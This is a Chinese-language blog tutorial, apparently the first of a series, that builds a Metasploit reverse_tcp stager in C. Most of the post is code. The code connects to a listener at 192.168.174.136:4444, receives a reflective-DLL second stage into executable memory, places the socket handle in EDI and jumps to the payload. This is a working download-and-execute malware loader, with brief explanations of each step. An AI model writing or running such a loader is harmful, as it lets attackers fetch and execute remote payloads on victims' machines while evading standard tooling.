采用c开发stagers

前言

之前有写过一篇 metasploit payload运行原理浅析(sockedi调用约定是什么)，里面有提到以后了解这些东西后可以做的事情，其实包括但不限于自写stagers，扩展C2 实现。本系列将从之前这篇文章中获取到的原理性知识进行实践，一步步记录我在这个过程中踩到的坑与收获，这个系列可能会更新得比较慢，也可能会不定期鸽，希望大家能够一同学习，有什么错误的地方也欢迎大家来探讨指正。

前情提要

上面我们给出的文章讲到关于第一阶段与第二阶段的交互原理

简要概括一下，对于 reverse_tcp 的payload 来说，所给出的 payload 是第一阶段 (stagers)，然后它会发起 socket tcp 连接请求向远端请求第二阶段 (stages) ，这个阶段是一个反射 dll，然后把 socket fd (socket文件描述符) 放入 edi 寄存器，开始从起始地址执行第二阶段，第二阶段后续的操作会用到这个 socket fd，所以一开始需要传入，后面的关于这个 dll 具体运作以及为什么能直接从起始地址开始跑我们暂时不需要关心，这个在我上一篇文章中已有提及。

明确思路

上面的流程说的已经比较明白了（此篇文章里我将采用 metasploit-loader 作为代码讲解）：

向 msf 监听地址发起 tcp 请求
获取 stages
将 socket fd 放入寄存器 edi
从起始地址开始执行 stages

发起tcp请求stages

先贴代码

首先我们需要创建一个socket连接

/* 错误处理 */

void punt(SOCKET my_socket, char * error) {

	printf("Bad things: %s\n", error);

	closesocket(my_socket);

	WSACleanup();

	exit(1);

}

...

WSADATA	wsaData;

WORD 		wVersionRequested;

wVersionRequested = MAKEWORD(2, 2);

if (WSAStartup(wVersionRequested, &wsaData) < 0) {

    printf("ws2_32.dll is out of date.\n");

    WSACleanup();

    exit(1);

}

struct hostent *		target;

struct sockaddr_in 	sock;

SOCKET 			my_socket;

char* targetip = "192.168.174.136"

int port = 4444

/* 创建socket */

my_socket = socket(AF_INET, SOCK_STREAM, 0);

if (my_socket == INVALID_SOCKET)

    punt(my_socket, "Could not initialize socket");

/* 解析targetip*/

target = gethostbyname(targetip);

if (target == NULL)

    punt(my_socket, "Could not resolve target");

/* 准备tcp连接相关信息 */

memcpy(&sock.sin_addr.s_addr, target->h_addr, target->h_length);

sock.sin_family = AF_INET;

sock.sin_port = htons(port);

/* 连接 */

if ( connect(my_socket, (struct sockaddr *)&sock, sizeof(sock)) )

    punt(my_socket, "Could not connect to target");

这部分代码就是和我们的 msf 监听地址建立 socket 连接

接下来关于stages有点需要说明的。

stages结构：

开头 4byte 是后续的 tcp 包长度
4byte 后紧跟的是一个 dll，也就是一个pe文件

那么我们按照这个方式去读

int count = recv(my_socket, (char *)&size, 4, 0);

if (count != 4 || size <= 0)

    punt(my_socket, "read a strange or incomplete length value\n");

读出后面的 dll 数据包长度

然后我们开始读取 dll

/* 接收指定长度的数据 */

int recv_all(SOCKET my_socket, void * buffer, int len) {

	int    tret   = 0;

	int    nret   = 0;

	void * startb = buffer;

	while (tret < len) {

		nret = recv(my_socket, (char *)startb, len - tret, 0);

		startb += nret;

		tret   += nret;

		if (nret == SOCKET_ERROR)

			punt(my_socket, "Could not receive data");

	}

	return tret;

}

buffer = VirtualAlloc(0, size + 5, MEM_COMMIT, PAGE_EXECUTE_READWRITE);

if (buffer == NULL)

    punt(my_socket, "could not allocate buffer\n");

/* 把 socket fd 放入 edi 寄存器，注意这里的 socket 句柄需要取到句柄指向的那个数据，而不是句柄指针

	   BF 78 56 34 12     =>      mov edi, 0x12345678 */

buffer[0] = 0xBF;

/* 构造上面的机器码 */

memcpy(buffer + 1, &my_socket, 4);

/* 把读取出来的数据放到 buffer 后面 */

count = recv_all(my_socket, buffer + 5, size);

这里需要注意的地方是把 socket fd 放入 edi，这个过程是比较重要的，具体的原理我在上一篇文章有提到。

执行stages

现在我们只需要像之前执行 shellcode 那样执行即可

/* 把buffer强转为一个函数去调用 */

function = (void (*)())buffer;

function();

然后把这些代码组合起来进行编译

编译

编译需要注意的点是：payload必须对应

比如32位的payload必须编译为32位的，相应的64位必须编译为64位

巴特西

msf stagers开发不完全指北(一)

采用c开发stagers

前言

前情提要

明确思路

发起tcp请求stages

执行stages

编译

最新文章

热门文章